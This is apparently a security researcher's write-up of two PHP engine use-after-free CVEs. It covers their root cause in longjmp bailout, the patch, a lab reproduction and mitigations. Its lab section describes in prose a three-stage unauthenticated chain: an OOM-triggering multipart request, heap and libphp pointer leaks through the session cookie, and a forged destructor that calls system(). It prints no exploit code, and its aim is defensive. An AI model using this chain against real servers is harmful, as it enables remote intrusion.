Last month, PHP got hit with two critical CVEs (CVE-2026-109618 and CVE-2026-109619). Both CVEs got a 9.2 score on CVSS v4.0 and they allow an attacker to run arbitrary code on the server, together they are called PHP2SHELL. The important part is where these bugs actually live, it is inside the PHP engine itself, so the attack happens before your app code even starts running. That means even if your framework code is clean and you wrote everything the right way, it doesn’t really matter here, because the thing that got hit is the engine running underneath your code.
When people hear something like "unauthenticated RCE", the first thing that comes to mind is Log4Shell, but when you look at how the two bugs actually get exploited, they are very different when compared to each other.
Log4j 2 had a lookup feature that expanded expressions like ${prefix:name} inside whatever it was logging, and one of those lookups was JNDI. So if the app logged attacker controlled text containing ${jndi:ldap://attacker/x}, Log4j would go out to the attacker's LDAP server and that server could hand back a reference to a remote Java class that the JVM loaded and ran Log4Shell.
And the input could come from anywhere the app logs, like a User-Agent, a username, a URL, a header. The same payload worked on every vulnerable target no matter the OS, the Java build or the config, it needed one request. That is why it got a 10.0 (AV:N/AC:L/PR:N/UI:N/S:C) and why botnets like Mirai and Muhstik picked it up within days, with researchers seeing over a hundred attacks per minute.PHP2Shell is the opposite of that, it is a memory corruption chain, and that changes a lot when it comes to the exploitability from the Log4Shell. To actually get a shell you need:
zval_ptr_dtor and zend_call_function for that specific PHP binary.pm.max_requests recycling the worker all break the chain, and you don't even get an error, it just quietly fails.memory_limit and the error settings close to what the exploit expects. A lot of apps change memory_limit, and with display_errors=Off (the production default) the leak gets way harder and needs exact control of the heap layout.PHP is basically everywhere, WordPress, Magento, Drupal, Joomla, phpMyAdmin, Nextcloud, all kinds of places because it was from the beginning of the internet. A Shodan query filtering for PHP servers running unpatched versions returned over 2.1 million results, which gives a rough sense of how many exposed instances could be vulnerable.
Figure 1 - Shodan returned 2,191,764 hosts still advertising an unpatched PHP version in X-Powered-By, with PHP 5.3.0 and 7.2.21 showing up in the first few results.
One thing to note before the numbers scare anyone too much is that the 2.1M is only the hosts that had the unpatched version in X-Powered-By at the time of my query (plenty of servers set expose_php=Off and send no version at all, so the real population cuts both ways). The full chain for the RCE needs the above things to be lined up.
The PHP advisories (CVE-2026-109618, CVE-2026-109619) list Apache mod_php, PHP-FPM, FrankenPHP and LSAPI (LiteSpeed) as affected SAPIs. The vulnerable code itself is present across all of them, and it has been sitting there since PHP 5.4.0, which came out in 2012, so that's like 14 years.
The bugs were found independently by two groups. Calif (Ryan Austin) discovered multiple RCE paths on Aug 1 and reported the first to PHP on Aug 11. Wiz Research independently discovered the vulnerabilities on Aug 19 and reported to PHP on Aug 24. But exploitation attempts showed up on Oct 17 before anything was public (AWS MadPot honeypots caught them four days before disclosure), the fix commit landed on Oct 18 and was publicly visible, the advisory details leaked on Oct 20, and attacks were already being seen on release day before the fixed versions dropped on Oct 21. So defenders basically had zero head start.
Figure 2 - PHP2Shell disclosure timeline, from the vulnerable code shipping in 2012 to patched releases on Oct 21, 2026.
Both CVE-2026-109618 and CVE-2026-109619 are use-after-free bugs (CWE-416) and they happen because of an issue in how the Zend engine handles the request lifecycle. The Zend engine is the core of PHP. It is the part that parses, compiles and runs your PHP code. Every PHP function call, every variable, every memory allocation goes through Zend. So when something breaks at the Zend level, it does not matter what your application does on top, it will affect everything. Both CVEs come from the same spot, PHP's error and out-of-memory handling drifts out of an operation while the internal state is half-built or stale, and then some other code keeps working on that state thinking it is fine and continues working on that. Before going deeper, there are three things you need in your head.
1. The request lifecycle: For every request, PHP runs request startup, then runs your script, then runs request shutdown. A bunch of internal state gets built during startup, the symbol tables, the error state, the session data, extension state, and all it gets removed again during shutdown.
2. Persistent workers: On mod_php, PHP-FPM, FrankenPHP and LiteSpeed, one process, a worker, handles a lot of requests over its life. The engine keeps all the per-request state in global structures that live inside the worker, and they're supposed to get reset between requests. So if a reset doesn't happen, state from the earlier request is still sitting there when the next one shows up.
3. Bailout with longjmp(): When PHP hits something fatal, like running out of memory against memory_limit, or going over max_execution_time, it calls zend_bailout() which does a longjmp() straight back to a saved jump buffer. That unwinds the C stack right away and skips any cleanup code that was sitting between where it failed and where it lands. This is the root cause for both bugs. Basically a longjmp() out of the middle of an operation leaves whatever that operation was running in a broken state.
The CVE-2026-109618 advisory describes this as OOM corruption during request parsing, where request memory becomes reachable before it is fully initialized and a bailout leaves it invalid. It can be broken down into two distinct primitives (the specific identifiers PS(id) and BG(unserialize)), both living inside the same window, PHP parsing an RFC 1867 multipart request during request startup, before module init has even finished, with session upload progress handling running right in that window. Both get fired the same way, an out-of-memory condition bails out mid-operation, and the difference is which piece of state gets abandoned after the bailout.
Bug one: the remote process-memory disclosure. Because multipart parsing happens so early, the upload-progress feature can wake the session module up and publish the session ID in PS(id) before normal session init ever runs. If an allocation fails mid-body, longjmp() tears request parsing down, the request heap gets destroyed, and PS(id) is left pointing into freed memory. The next multipart request that lands on the same worker reaches the upload-progress path before normal session init gets a chance to reset that pointer, the session module trusts the stale pointer and length as a live zend_string, and URL-encodes whatever is sitting in that freed region into a PHPSESSID response cookie. The application never even has to call session_start(), so this is application-agnostic, it works against a page that echoes a string. That is exactly what stage one and stage two of the chain below read out of the header.
Bug two: the upload-progress unserializer use-after-free. The same early window can also decode session data, and the decoder stores request-owned bookkeeping in a background global, BG(unserialize). A fatal allocation failure interrupts this path, the request heap gets destroyed, and the unserializer's global state stays published. On a later request served by the same worker, the engine can then consume attacker-reclaimed memory as if it were live unserializer bookkeeping.
There are a few ways to force the out-of-memory to happen at the exact wrong moment during parsing:
max_file_uploads limitPut those together and all the attacker needs is one crafted request, usually a multipart/form-data POST, and no login. And it can hit any PHP script on the server, even one that ignores file uploads completely, because this code runs during parsing, before your own code ever gets to run. PHP confirmed unauthenticated RCE against Apache mod_php on default settings.
The second CVE covers the broader class of stale global state across requests. The advisory names several consumers that can read that stale state, including the session upload progress lifecycle and INI diagnostics raised before request init.
Bug three: the fatal-error backtrace use-after-free. PHP keeps the backtrace of the most recent fatal error in EG(last_fatal_error_backtrace). An out-of-memory fatal destroys the request heap without ever clearing that executor global, so the worker survives carrying a pointer into the previous request's freed memory. If the same worker raises a diagnostic early in the next request, before the executor gets to reinitializing that state, PHP chases the dangling trace and destroys or updates attacker-reclaimed memory. The advisory confirms RCE against mod_php via this path, and researchers demonstrated it as unauthenticated RCE against Drupal. PHP 8.5 with fatal_error_backtraces=On is the strongest confirmed case.
Bug four: the OPcache type confusion. OPcache persists compiled scripts in shared memory and hands out indices into per-worker runtime pointer maps, and workers coordinate those indices through a shared frontier. During zend_accel_script_persist(), the process advances its local CG(map_ptr_last) frontier but only publishes the shared frontier after persistence completes. An allocation failure in that gap leaves the two out of sync, and when another worker later reuses one of those slots for a different runtime object, the stale shared metadata resolves to a pointer of the wrong type. This bug four travels through shared memory, so it doesn't even need the two requests to hit the same worker, the stale state lives between workers in the OPcache segment.
They all came out from one design decision inside the Zend engine. PHP's longjmp() bailout walks out of the middle of an operation without running any of the cleanup underneath it, and four different code paths end up trusting memory that got freed or was never fully set up, multipart parsing and pre-init session handling, the upload-progress unserializer, the fatal-error backtrace global, and OPcache persistence. CVE-2026-109618 is the multipart and session window, and it carries both the memory disclosure and the unserializer use-after-free, so the chain in this post, leak and execution both, demonstrates 109618 on its own. CVE-2026-109619 is the executor and OPcache side, the backtrace global and the map-pointer type confusion, two independent primitives that other researchers built separate RCEs on.
Figure 3 - Both CVEs share the same root cause: longjmp() skipping cleanup leads to a use-after-free and RCE.
All four bugs got fixed in the same commit across multiple branches, titled "Avoid state corruption via bailout." The primary commit is 31c0ea7 (PHP 8.5 on Oct 18, 2026), with 01a40e8 being the same patch on another branch (8.4/8.3). The commit message itself spells out the two-part fix:
Figure 4 - Commit 31c0ea7 landed on PHP 8.5, titled "Avoid state corruption via bailout," touching hundreds of files across the engine.
The commit 31c0ea7 touches 423 files, adding 11,556 lines and removing 1,017 (12,573 total churn). Commit 01a40e8 is nearly the same at 10,759 added / 988 removed across 389 files. Most of the added lines are new test files (like oom_request_parsing.phpt, rfc1867_no_user_code.phpt, oom_filter_default_encoded.phpt) that force out-of-memory conditions in every code path to make sure the fix holds.
The non-test files changed:
Change 1: The allocator no longer does longjmp() on OOM (Zend/zend_alloc.c)
The old code called zend_mm_safe_error() which did zend_bailout() (a longjmp()) to jump out immediately. It set heap->overflow, tried to raise an E_ERROR, then called zend_bailout() which longjmps out, skipping all cleanup between the failure point and the jump buffer.
The new code replaces this with a delayed OOM system. The replacement function zend_mm_delayed_verror() queues the error into EG(delayed_oom) with state ZEND_OOM_STATE_PENDING and sets the vm_interrupt flag so the engine stops at the next safe point instead of jumping out mid-operation.
The heap struct (_zend_mm_heap) gained new fields: hard_limit, hard_limit_percent, and a fallible flag. When the soft limit (memory_limit) is exceeded, the error is delayed. When the hard limit is exceeded, the worker is killed outright with _exit(137) instead of trying to recover. Then in Zend/zend.c, after script execution finishes (zend_execute_script()), the engine checks ZEND_HAS_OOM() and calls zend_handle_delayed_oom() to handle it safely. During deactivation (zend_deactivate()), zend_mm_oom_info_dtor(&EG(delayed_oom)) cleans up.
Figure 5 - When memory ran out, the old allocator called longjmp() and bailed immediately. The new code queues it as a delayed OOM and lets the VM stop at the next safe point.
Change 2: Session upload progress no longer runs blind (ext/session/session.c)
The session RFC 1867 upload progress handler runs during request parsing, before RINIT (before your code). The old code just called php_session_initialize() and forced PS(session_status) = php_session_active without checking if it actually worked.
The fix adds proper error checking and a new in_rfc1867_update flag. Now it sets PS(in_rfc1867_update) = true, then checks php_session_initialize() == FAILURE || PS(session_status) != php_session_active and returns early if either is true instead of continuing with bad state.
The in_rfc1867_update flag also gates serialization into a safe mode (incomplete_classes_only), so no user code (__wakeup(), __unserialize(), autoloading) can run during this pre-RINIT phase. At the end of multipart processing, $_SESSION is explicitly deleted via zend_delete_global_variable(). The callback also now calls php_rinit_session_globals() early during MULTIPART_EVENT_START to clear session globals before they can be read stale, and blocks execution during request_parse_body() to prevent session corruption.
Figure 6 - The old session handler forced the session active without checking if it actually worked. The fix checks for failure and returns early, and the new in_rfc1867_update flag blocks user code from running during parsing.
Change 3: Executor globals are reset properly (Zend/zend.c)
The executor_globals_ctor() now zeroes out the new delayed_oom struct with memset(). And the error reporting path in zend_error_zstr_at() was hardened to check EG(delayed_oom).state != ZEND_OOM_STATE_HANDLING before chasing exception chains, so it won't go through objects that were already freed during an OOM.
Figure 7 - Executor globals now zero out the delayed_oom struct on init, so freed objects from a previous OOM can't be walked by the error reporting path.
To test these leaks, what I did was create three Docker boxes across two setups. The app on all of them is literally just a one-line index.php that echoes "ok", because the bug fires during request parsing before your PHP code even runs, so the app doesn't need to do anything at all.
The first is a side-by-side pair of Apache with mod_php. One box running on PHP 8.5.11 (the last unpatched version) and another identical box running 8.5.12 (the latest fixed version). Both have memory_limit=128M and display_errors=Off, so the only thing that differs between them is the PHP version.
Figure 8 - The two Apache boxes confirming their builds, vuln-box on PHP 8.5.11 and patched-box on 8.5.12, with everything else held identical.
The second one is a single-process leak box running PHP 8.5.11, built with the built-in php -S server so there will be one worker, and this one is tuned so the memory disclosure is easy to see. The reason I don't just point the leak and the RCE at the first 8.5.11 Apache box is that mod_php runs a pool of worker processes, so two requests in a row can land on different workers. The dangling state from CVE-2026-109618 lives inside one worker, so the follow-up request that re-fills that freed memory has to hit the same worker, and with a pool of workers you can't guarantee that. On top of that, the Apache pair deliberately keeps stock memory_limit=128M and display_errors=Off, which keeps the pair honest for the version comparison but also hides the leak. The php -S server has exactly one worker, so every request is guaranteed to land on it. Three settings on it matter:
memory_limit=8M so the OOM hits early without needing huge request bodiesdisplay_errors=On so errors surface in the response, and by the way this is the default on a lot of shared hostssession.upload_progress.enabled=On, which is already the default but stage three needs it, so I'm stating it anywayBecause it's a single process, every request lands on the same worker, and that's the across-requests condition from CVE-2026-109618. This box is what step 3 uses, and it's also the box the full RCE chain runs against, since stage three depends on that same-worker condition.
1) Triggering the OOM with a crafted multipart request
This one we are gonna use the at the 8.5.11 box of the Apache pair. So we send a multipart/form-data POST with no usable content length (chunked) and one part carrying about 1.25 million header lines. We're just pushing parsing over memory_limit to create the wrong moment. And what we get back is HTTP/1.0 500 with the Set-Cookie header completely gone and Connection: close. Parsing hit the OOM mid-request and the whole response got torn down. One crafted request, no login, and parsing dies before your app code ever runs.
Figure 9 - When the crafted multipart hit the 8.5.11 box, parsing blew up mid-request and the response came back as HTTP 500 with the Set-Cookie header stripped entirely.
2) The error log is full of with memory fatals
After these crafted requests are sent, the error log is picking up out-of-memory fatals from a one-line PHP app that just echoes "ok". A request that uploads nothing, touches no script, and somehow "exhausts" 128M. So if you see a burst of "Allowed memory size exhausted" coming from endpoints that normally use no memory at all, that's a pretty solid thing to alert on.
Figure 10 - While the crafted requests ran, the error log filled with "Allowed memory size exhausted" fatals from a one-line app that should use almost no memory.
3) Leaking freed heap memory through the Set-Cookie header
For this one, we are going to use the single-process leak box, the 8.5.11 one tuned to 8M memory. Now without the exploit's heap grooming, that box just sends the response down like we saw in step 1. So to actually see the memory disclosure, we run only stage 1 of the chain. It fires exactly two requests, one to force the OOM with the groomed heap, and one to read what got left behind. So the Set-Cookie comes back with 4,096 bytes of PHPSESSID, mostly non-ASCII garbage, and the readable chunks inside it are little-endian heap pointers. If you carve out the most common 2MB-aligned base, you land on 0x7f9526e00000, and that's the Zend MM chunk base of the current worker. I ran it a second time to confirm and got the same base, so that's the worker's real heap layout and not random noise. Basically freed server memory is being handed back to an unauthenticated client through a response header, and that alone is a data disclosure problem before code execution even enters the picture.
Figure 11 - After running stage-1 grooming against the 8.5.11 leak box, the Set-Cookie came back with 4,096 bytes of freed worker memory, heap pointers clearly visible in the raw bytes.
4) Sending the same request against the patched 8.5.12 box
For this, we are going back to the Apache pair, but with the second box running PHP 8.5.12 (patched release). We send the exact same crafted request at it that we used for step 1. It bounds the oversized body and rejects it cleanly instead of blowing up, we get a 200 OK, clean cookie, the app prints its ok, and the memory fatal count in the log stays at zero. That's the whole fix story, the engine got patched and you didn't have to touch your app at all.
Figure 12 - When the exact same crafted request hit the patched 8.5.12 box, it parsed cleanly, returned 200 OK with a normal cookie, and the memory fatal count stayed at zero.
To test the code execution from the memory leak, I created a small modified exploit script from a public poc and pointed it to the single-process leak box, the same one from step 3. This entire chain checks for CVE-2026-109618 only, stages 1 and 2 use bug one (the PS(id) memory disclosure) to leak the heap and libphp bases, and stage 3 uses bug two (the BG(unserialize) use-after-free) to forge a destructor and get code execution. It has to be the single-process box and not the Apache pair, because the chain rides stale worker state and needs every request to land on the same worker, which only the single-process php -S server guarantees. Basically what it does is it fingerprints the target by X-Powered-By, picks the right offsets for the exact PHP build, fires the chain, and reads the proof file at the end.
The key thing here is that stage three has to forge pointers for two functions inside the compiled PHP binary: zif_system (the C function behind PHP's system() call) and zval_ptr_dtor (the destructor that every hash table entry calls when it gets freed). These functions sit at different addresses in libphp depending on the exact build, so we keep a JSON profile per build (version, distro, architecture) baked into the Go tool at compile time. If the offset is wrong the forged pointer lands nowhere and you just get silence.
Stage 1 walks a multipart body until a later allocation goes over the limit and longjmp() bails out mid-operation. The half-built Set-Cookie buffer gets flushed with chunks of freed engine memory in it, and one readable chunk is the Zend MM chunk base. That's the heap leak.
Stage 2 does the same bail-and-leak thing but one level up, pointed at libphp itself to get the module's load base via the zval_ptr_dtor symbol offset. So now we have the heap base and the module base, those are the two coordinates the forged write needs.
Stage 3 poisons the worker's state and crafts a fake upload progress entry pointing into freed memory with a forged destructor (HTDATA) that resolves to zif_system (ZIF = libphp_base + profile_offset). The second request on the same worker makes the progress handler write through its cached stale pointers and drop a fake reference whose destructor is the forged one. When that entry gets freed, the engine calls the destructor and that call is now system($cmd) running as www-data.
Figure 13 - Full three-stage chain running against the vulnerable box: heap leak, libphp leak, forged destructor, RCE as www-data.
The leaks and the RCE happen with request-side conditions only, no login, no special config, so on any PHP server if you see a memory_limit burst from requests that upload nothing, that's worth alerting on, it's the exploit shaping the fake session entry. Turning session.upload_progress.enabled=Off (if you don't use the feature) or setting pm.max_requests=1 for FPM shrinks the window by killing worker reuse. In my testing the chain needed display_errors=On for the leak to reach the client, and turning that off blunted what stage one could read from the response. All these conditions are default on most traditional shared hosts, which is exactly why PHP rated this 9.2 with no auth required.
PHP had a 14-year-old design problem in its memory allocator where running out of memory meant longjmp() straight out of whatever the engine was doing. That one pattern produced two CVEs that group four bugs, the memory disclosure and the unserializer use-after-free under 109618, the backtrace global and the OPcache type confusion under 109619, and the researchers had already demonstrated unauthenticated remote code execution on WordPress, Drupal and Joomla off them. And the important thing is that the bug fires before your app code even runs, so it doesn't matter how clean your framework is or how many input filters you have, the engine underneath your code is vulnerable.
The fix is out. PHP 8.5.12, 8.4.27, 8.3.36 and 8.2.35 all have it. If you are running anything older than that, patch it now, not next sprint, not next maintenance window, now. The exploit was seen in the wild before the patch even dropped, and the fix commit was public three days before the release, so anyone watching had a head start on building weaponized versions of this.
If you can't patch right now, these are the short-term mitigations that actually shrink the attack surface:
session.upload_progress.enabled if you don't use it, that kills the main consumer path for CVE-2026-109618 and is also recommended for CVE-2026-109619pm.max_requests=1 on FPM, that kills worker reuse so the across-requests chain can't land both requests on the same processdisplay_errors, that blunts the memory leak back to the client that the exploit uses for its heap and libphp base addressesfatal_error_backtraces=0, that removes the strongest confirmed producer for CVE-2026-109619's backtrace use-after-freePHP fixed these issues with a proper delayed error system and a hard kill switch for things that can happen when memory drifts away. The vulnerable code sat there since PHP 5.4.0 in 2012, and it took until August 2026 for someone to find it. Calif found the first RCE paths on August 1 and reported to PHP on August 11. Wiz Research independently found the bugs starting August 19, confirmed unauthenticated RCE against Drupal by August 20 and WordPress by August 21, and reported to PHP on August 24. PHP acknowledged the reports on September 21 and began the coordinated fix. Patched versions shipped on October 21, 58 days after the first report, but by then exploitation was already being seen in the wild.